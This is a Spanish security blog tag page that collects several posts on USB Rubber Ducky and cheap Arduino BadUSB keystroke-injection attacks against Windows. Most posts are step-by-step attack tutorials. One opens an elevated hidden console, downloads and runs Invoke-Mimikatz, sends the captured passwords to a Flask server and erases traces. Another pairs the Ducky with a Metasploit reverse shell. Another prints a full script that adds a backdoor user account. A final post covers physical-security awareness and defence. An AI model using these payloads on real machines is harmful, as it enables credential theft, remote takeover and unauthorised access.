Mostrando entradas con la etiqueta rubber ducky. Mostrar todas las entradas
Mostrando entradas con la etiqueta rubber ducky. Mostrar todas las entradas

Mr.Robot también en Arduino

Buenas amigos, soy Fare9, y hoy traigo un post sobre hacking en Windows con hardware algo específico, así que allá vamos.

Hace ya tiempo, en Mr.Robot apareció un pequeño aparatito conocido como Rubber Ducky, del cual ya se ha hablado en este blog (Rubber Ducky). Con este aparatito, se pensó el la ejecución de comandos a través de teclado.
Esto es posible debido a que bueno, como podréis encontrar en la web, se trata de un procesador de 32 bits y 60 MHz que es capaz de funcionar como un HID (Human Interface Device) más en concreto como un teclado, y a través de un sencillo lenguaje de scripting y un encoder a binario nos permite escribir a través del USB como si se tratara de un simple teclado. Y luego blah,blah,blah...

Esto está muy bien, pero ¿qué problema hay?, y ¿por qué todo este rollo Fare9?....

Preguntas muy acertadas, como sabéis Fare9 os quiere mucho y siempre piensa en vosotros, este cacharrito vendido por Hak5 cuesta la friolera de 45$, más gastos de envío (si no vives en USA), más aduanas (si no vives en EEUU).
Entonces no quiero que haya que dejarse el bolsillo en esto, y tras una charla en una Hack and Beers vi unos arduinos leonardo de un tamaño muy reducido:
Véis como los USBs de toda la vida, chiquitito y transportable... EMMMM NO, esa no era la imagen (estúpido Fare9...), aquí lo tenéis:
Aha, esto ya parece otra cosa, y bueno aquí tenéis el mio:

Esto, lo podéis comprar en el Aliexpress pues por unos 9€ con gastos de envío incluídos: BadUSB
Recibe el nombre de Badusb, pero como podéis ver su nombre científico es: BadUsb Escarabajo Mala Junta de Desarrollo ATMEGA32U4 USB teclado virtual Para Arduino (traducción directa del chino mandarín)
Estos cacharros tienen igual un procesador ATMEGA el cual les permite funcionar como un teclado, gracias a una librería de arduíno conocida como Keyboard (como vemos no se rompieron mucho la cabeza).
Además tenéis un IDE muy bonito, se puede descargar desde la página oficial de arduíno: https://www.arduino.cc/en/main/software

Bien, ahora vamos a explicar qué haremos así de juaquin de ese que hacen los juankers.

Haremos que al insertar el usb, se habrá una CMD con permisos de administrador (¿¿¿quién usa en windows una cuenta que no tenga la posibilidad de esos permisos???), seguidamente, ejecutaremos una serie de comandos de Powershell, que permitirán la descarga de un código y su ejecución directa.

El código a descargar será el siguiente: https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1 . Este código  pertenece al framework de pentesting y post explotación Powersploit, y se encarga de inyectar directamente en la memoria de un proceso de ejecución, un programita conocido como Mimikatz, este programa es capaz de obtener directamente desde la RAM las credenciales del usuario, por tanto, es un punto muy fuerte para aquellos que se dedicen al tema del pentesting.

Tras obtener esos datos, se enviarán a un servidor que vamos a montar con python y una librería conocida como Flask.

De momento vamos arrancando el IDE de arduino y veamos que es cada cosilla:

################ ACTUALIZACIÓN
He subido al github una librería Keyboard modificada https://github.com/Fare9/MR_Robot_mimikatz/tree/master/Keyboard
Esta librería nos vale para  tener layouts de teclado de diferentes países, tenéis que descargar la carpeta Keyboard y reemplazar dentro de Arduino/libraries la actual librería Keyboard (siempre hacer backup por si acaso). Tras hacer esto, reiniciar el Arduino IDE.
Se ha modificado  también el código de MR_ROBOT (https://github.com/Fare9/MR_Robot_mimikatz/blob/master/MR_ROBOT/MR_ROBOT.ino) pero no son grandes cambios, simplemente se ha añadido la utilidad para usar otro layout de teclado.
##################################

1. Lo primero que vamos a ver es el código principal y luego iremos desmenuzando linea por linea y método por método:




En arduino, siempre tenemos dos métodos principales setup y loop , dentro del primero será donde daremos valor a las variables, o estableceremos los pines de arduíno (en este caso no es necesario esta parte), y lo que haremos aquí será inicializar la librería Keyboard para poder utilizarla.El segundo método es el que se ejecuta continuamente en un arduino normal, en este caso utilizamos una variable para evitar que sea un bucle, lo primero que realiza la función loop es una espera de 2000, en arduino indicas esperas en milisegundos, por ejemplo, para esperar que se produzcan ciertos eventos, o que algunos eventos no se modifiquen durante un cierto tiempo. En este caso esperamos a que el ordenador reconozca el usb como un teclado. Después comprobamos si el código ya se ha ejecutado, y si no, pues ejecutamos una serie de funciones: openCMDAsAdmin, whatsNewMimikatz y limpia. Finalmente establecemos ejecutado a 1 para que no se vuelva a ejecutar.
Vamos a ir viendo estas funciones:
2.  openCMDAsAdmin(), esta función se encarga de abrir la CMD de windows como administrador, además se encarga de ofuscarla para evitar que sea reconocible los comandos:
Vamos a ver poquito a poquito qué dice aquí cada cosa, bien la primera línea, se encarga de apretar la tecla conocida como TECLA WINDOWS, y dejarla presionada, tras esto, pulsa la tecla 'R', y finalmente las libera las dos, esto abrirá una cajita como esta:
tras esto, se realiza una espera de medio segundo para dejar aparecer la caja, después utilizamos una función propia llamada "printa", la cual se encarga de modificar el layout del teclado a EN en lugar de ES, ya que la librería de Keyboard utiliza un layout de teclado Americano, luego escribe lo que le hemos pasado como variable, y reestablece el layout:
Tras apretar esto, nos pedirá la confirmación de abrir la consola como administrador:

Como vemos, no podemos coger el ratón y darle a "Si", sino que usaremos el atajo de teclado ALT+S, que es lo que mostramos en la línea 7 y 8 de la función. Tras obtener una shell como administrador, ofuscamos utilizando la siguiente función:


Esto dejará una SHELL como esta:
Como vemos esta shell es más complicado ver que se está escribiendo, pero como a la shell le da igual, pues continuamos.

3. whatsNewMimikatz(): esta función es la encargada de la descarga que antes hablamos, la ejecución y el envío de datos a un server:
Esto de powershell, nos realiza la descarga y ejecución del Invoke-Mimikatz.ps1, tras esto se realiza la subida a un servidor el cual luego veremos el código. Como véis donde pone URL_SERVER, tenéis que poner la URL de vuestro servidor, no seais cazurros...

4. limpia(), esta función es la encargada de limpiar un poco el rastro que hemos dejado en la máquina, lo que haremos será borrar el rastro de que hemos realizado la ejecución de cualquier programa:

Hasta aquí todo el código de Arduino, en imágenes (muajajajaja), pero tranquilos, como sé que también os mola el copy-paste más que el cesped a las vacas, en mi github tenéis el código completo: https://github.com/Fare9/MR_Robot_mimikatz/blob/master/MR_ROBOT/MR_ROBOT.ino

Ahora veremos el servidor que vamos a montar, este nos cabe entero en la fotito:
 Esto que podéis ver es un server completo, que responde a peticiones POST y GET en la ruta / (root) del servidor, en verdad la petición GET no vale para nada, pero así veis un poquito más, este servidor se encarga de procesar las peticiones que enviaría el powershell, para finalmente guardar lo enviado en un archivo.  (Código también en github)
La ejecución es sencilla, simplemente:
Vamos a poner en el script, la ip de la máquina kali, en mi caso la 10.0.2.10. Compilamos y metemos en el pincho, recordar una cosa en el arduino IDE:
En Herramientas, establecer placa: "Arduino Leonardo" y en puerto aquel donde esté el arduino.
Vamos a ejecutar y ver que pasa en la máquina kali:
Como vemos, hemos obtenido ciertos datos por el método POST, y estos corresponden a los datos del PC y finalmente a la contraseña en claro y sus hashes, mimikatz ha conseguido obtener las contraseñas en claro y ejecutarse en pocos segundos sin mayor interacción que enchufar un pendrive en un PC.




Hasta aquí este rápido post en referencia a MR.Robot, desde una perspectiva bastante de mileurista, ya sabéis que cualquier duda me podéis escribir a mi twitter: Fare9

Antes de finalizar, recordaros que nuestro compañero del blog Óscar aka Elvis, subió hace poco una máquina de CTF basada en juego de tronos, yo estoy ahora con ella actualmente y la verdad que resulta bastante entretenida, aquí el enlace: https://github.com/OscarAkaElvis/game-of-thrones-hacking-ctf
A jugar, jugar y divertirse!!!!!!

Idea original del post: https://www.hak5.org/blog/15-second-password-hack-mr-robot-style
Código arduino y Python autor: Fare9 


Metasploit & Rubber Ducky una Pareja Letal

Hola  tod@s

Todos conocemos el potencial que ofrece Metasploit, una gran herramienta para desarrollar y ejecutar exploits contra una máquina remota. Igualmente quien no ha jugado con el pato alguna vez, al utilizar este divertido producto podremos estar lanzando comandos en el PC víctima como si estuviéramos delante de él, ya que se trata en realidad de un teclado programado.
Imaginad ahora la combinación de ambos, se trata de una pareja letal, el test de penetración definitivo. 

Sin más dilaciones vamos a realizar la prueba de concepto.

En primer lugar debemos tener el script creado en ruby, el que creara una Shell “windows/meterpreter/reverse_tcp” que tantas veces hemos usado en Metasploit.

Ejecutamos el script, nos solicitará nuestra IP local y el puerto y automáticamente generará la shellcode.

Imagen 1: Ejecución del script en Ruby


En el siguiente paso tenemos que dejar a la escucha, ya que se ejecutará de forma totalmente automatizada el exploit/multi/handler y el payload. 

Imagen 2: Dejar a la escucha Handler


Es ahora turno del pato, en el paso anterior el script también nos creó un archivo de texto, tal que así.



Este archivo es el que convertiremos a continuación para inyectar en nuestro rubber ducky.

Imagen 3: Conversión del archivo


Tan sólo queda el último y gratificante paso, copiar el binario en el rubber ducky y pichar el pato en nuestra víctima, si todo ha ido bien veremos al pato trabajar y ejecutando el payload en el terminal de la víctima.

Imagen 4: Payload ejecutándose con éxito


En cuestión de segundos el pato y metasploit realizan su trabajo y tenemos una hermosa sesión de meterpreter.

Imagen 5: Sesión exitosa de meterpreter

Como podemos observar en la imagen anterior la computadora LAB-PC es nuestra, tenemos control total sobre ella. Sin duda es una combinación para un test de penetración, ya que usamos el potencial de metasploit con la rapidez y el vector del rubber ducky.

No seáis malos. 

Mi Pato y Yo 3º Parte

Hola a tod@s

En este tercer capítulo de Mi Payo y Yo queremos mejorar el payload que creamos en el capítulo anterior, os pongo en antecedentes, creamos un sencillo payload que nos creaba uan cuenta de usuario en el pc víctima, pero se trataba de una cuenta estandar. En esta ocasión crearemos un usuario con permisos administrativos, con lo que eso conlleva :p

A continuación el código necesario para crear este payload:


    Como es habitual, enumeraramos los  pasos:

    1º Crear el payload en un archivo de texto.
    2º Encodear el archivo de texto.
    3º Cargar el binario creado en la tarjeta memoria de Rubber Ducky.
    4º Pichar el Rubber Ducky en el pc de la víctima.


    Para poder entender mejor los conceptos os dejo con el video, recordad que estos videos estarán disponibles en nuestro Canal de Youtube o en próximos artículos, no olvidéis suscribiros al canal de Youtube, así como feed y demás redes sociales para estar al tanto de las novedades.




    No seáis malos. 

    Mi Pato y Yo 2ºParte

    Hola a tod@s

    Hoy traemos el segundo capítulo de la cadena de artículos sobre Rubber Ducky. En el primer capítulo creamos un sencillo payload, simplemente el compañero se dejaba el PC sin bloquear y le dejábamos un bonito mensaje en un txt en su desktop. 

    Para este segundo capítulo queríamos darle un giro más de tuerca y crear un payload un poco más sofisticado. Con este payload podremos crearnos una cuenta de usuario en la máquina víctima y entrar más tarde, ya sea por acceso remoto, o bien con acceso físico, ;)

    A continuación el código necesario para crear este payload:

    1. REM addlocaluser
    2. DELAY 5000
    3. GUI r
    4. DELAY 50
    5. STRING powershell Start-Process cmd -verb runas
    6. ENTER
    7. DELAY 200
    8. ENTER
    9. DELAY 200
    10. STRING net user braco 1234 /add
    11. ENTER
    12. DELAY 200
    13. STRING exit
    14. ENTER

    La utilización de Rubber Ducky es sencilla, se puede enumerar en los siguientes pasos:
    1. Primer paso será crear el payload en un archivo de texto.
    2. Segundo paso será encodear el archivo de texto.
    3. Tercer paso será cargar el binario creado en la tarjeta de memoria de Rubber Ducky.
    4. Cuarto paso pinchar el Rubber Ducky en el PC víctima.
    Como una imagen vale más que mil palabras, os dejo con el video, recordad que estos videos estarán disponibles en nuestro Canal de Youtube o en próximos artículos, no olvidéis suscribiros al canal de Youtube, así como feed y demás redes sociales para estar al tanto de las novedades .


    No seáis malos.

    PD: Este artículo no habría sido posible sin la inestimable colaboración de @kioardetroya

    Mi Pato y Yo 1ºParte

    Hola a tod@s

    Hoy será el primero de una cadena de artículos sobre Rubber Ducky. No vamos a volver a explicar que es Rubber Ducky, este pato de goma de apariencia inofensiva, ya hablamos de él en la cadena de artículos dedicados a Juguetes Hacking. 


    En este primer capítulo veremos un payload muy sencillo, tan sólo habré un editor de texto y escribe un mensaje.


    A continuación el código necesario para crear este payload:

    1. DELAY 3000
    2. GUI r
    3. DELAY 500
    4. STRING notepad
    5. DELAY 500
    6. ENTER
    7. DELAY 750
    8. STRING Te dejaste le pc sin bloquear :D hackeado by Estación Informática
    9. ENTER


    La utilización de este pato es muy sencilla, se puede enumerar en los siguientes pasos:
    1. Primer paso será crear el payload en un archivo de texto.
    2. Segundo paso será encodear el archivo de texto.
    3. Tercer paso será cargar el binario creado en la tarjeta de memoria de Rubber Ducky.
    4. Cuarto paso pinchar el Rubber Ducky en el PC víctima.

    Como una imagen vale más que mil palabras, os dejo con el video, recordad que estos videos estarán disponibles en nuestro canal deYoutube o en próximos artículos.



    No seáis malos.

    La Seguridad Física un punto clave a tener en cuenta!

    Anónimo 1 Comment



    Antes de iniciar, me presentare:

    Soy Alejandro Torres, también conocido en la red como "torrescrack". Un informático que le apasiona y se dedica a la seguridad informática.

    Hace un par de semanas que me han invitado a ser editor de este blog, pues me gusta mucho escribir y acostumbro hacerlo en diversos blogs y que mejor sobre seguridad informática, lo cual hasta ahora me tome un rato libre por la mañana después de mirar algunas noticias y preparar el taller de técnicas cracking,  me gustaría contarles sobre la seguridad física (algo informativo)...

    "En el mundo de la seguridad informática hay todavía empresas, administradores y usuarios comunes que no han tomado conciencia de la importancia que tiene la seguridad física, un punto clave a tener muy en cuenta. Siempre hay gente que quiere robarle la contraseña a su pareja, a su jefe, a su empleado, espiar tu historial de sitios que visitas en Internet, las cookies del Facebook, robarte los passwordsde la red WiFi, o robar documentos"

    Hace un tiempo escribí un articulo muy interesante con el colega chema alonso y que complemento mucho sobre la conocida herramienta "USB rubber ducky" y los ataques que se podrían realizar si nos descuidamos tan solo un momento del ordenador..


    "Existen técnicas y maneras de conseguir acceso físico a un equipo y explotar las vulnerabilidades, y lo único que hay que hacer es forzar los condicionantes adecuados para poder llevarlo a cabo. Perder de vista el equipo o prestarlo a un amigo un momento para revisar las novedades de algún blog, o separarte de tu escritorio por unos momentos para ir al lavabo, es tiempo suficiente para que un atacante pueda llegar y enchufar un dispositivo como el “USB Rubber Ducky”.

    Este dispositivo es un teclado programado con forma de USB que nada más conectarse comienza a escribir en el equipo de forma automatizada, para lanzar programas y herramientas que bien pueden estar en el equipo víctima o cargados en la memoria Micro SD que lleva incluida."

    En este vídeo que hice se puede ver como en cuatro segundos se puede robar la contraseña del administrador de la computadora, lanzando con USB Rubber Ducky un script basado en Mimikatz que acceda a los datos.






    por mencionar algunos ataques:


    * Recolección de información del sistema operativo.
    * Robar información importante de los navegadores de Internet.
    * Robar y usar las cookies de las sesiones abiertas.
    * Hacer capturas de pantalla del escritorio y carpetas importantes del sistema.
    * Robar y utilizar las contraseñas de las conexiones WiFi de la víctima.
    * Subir la información a traves un servidor FTP.

    Ataques dirigidos al sistema:

    * Agregar usuarios con permisos administrativos al equipo de la víctima.
    * Borrar usuarios del sistema.
    * Hacer Pharming de DNS.
    * Infección del sistema descargando y ejecutando un binario de Internet.
    * Crackear passwords del administrador en el sistema.
    * Crear un Backdoor WiFi.
    * Bloquear programas en el sistema operativo de forma sigilosa.


    En Hack5 tienen algunos scripts ya hechos como ejemplo, lamentablemente para nuestro teclado en México no funcionaria, en la actualidad en México ya existe soporte con un curso para aprender a configurar,manejar y programar este pequeño dispositivo el cual puedes darle una mirada al temario por acá: temario


    Ahora bien, pasemos a la parte de como defenderte de esta herramienta de ataque:

    "Desde que el grupo de hackers de Hack5 hizo pública la herramienta, algunos siguen pensando que desactivando el “autoplay” de los discos USB podrían detenerlo, pero esto no es posible hacerlo de esa manera ya que el ataque no sea hace vía un USB de almacenamiento sino como si alguien estuviera tecleando en un teclado USB."





    Es por ello que me vi en la tarea de desarrollar una herramienta de defensa (que pronto liberare) que nombre @shielducky, que es hace fácil controlar estos ataques monitorizando los dispositivos HID sin tener que desactivar los puertos USB desde la BIOS/UEFI, etcétera. La interfaz es bastante amigable y fácil de usar ya que basta como presionar un simple botón para detectar cualquier HID que se conecte y bloquearlo.








    Aun ahí demasiadas personas que desconocen el alcance de este tipo de ataques englobando tanto gobierno como grandes empresas. Así que te recomiendo tener cuidado porque en cualquier momento sin que te des cuenta te pueden intentar “enchufar” un USB Rubber Ducky en lugar de un pendrive cuando te descuides.

    Saludos!

    @torrescrack248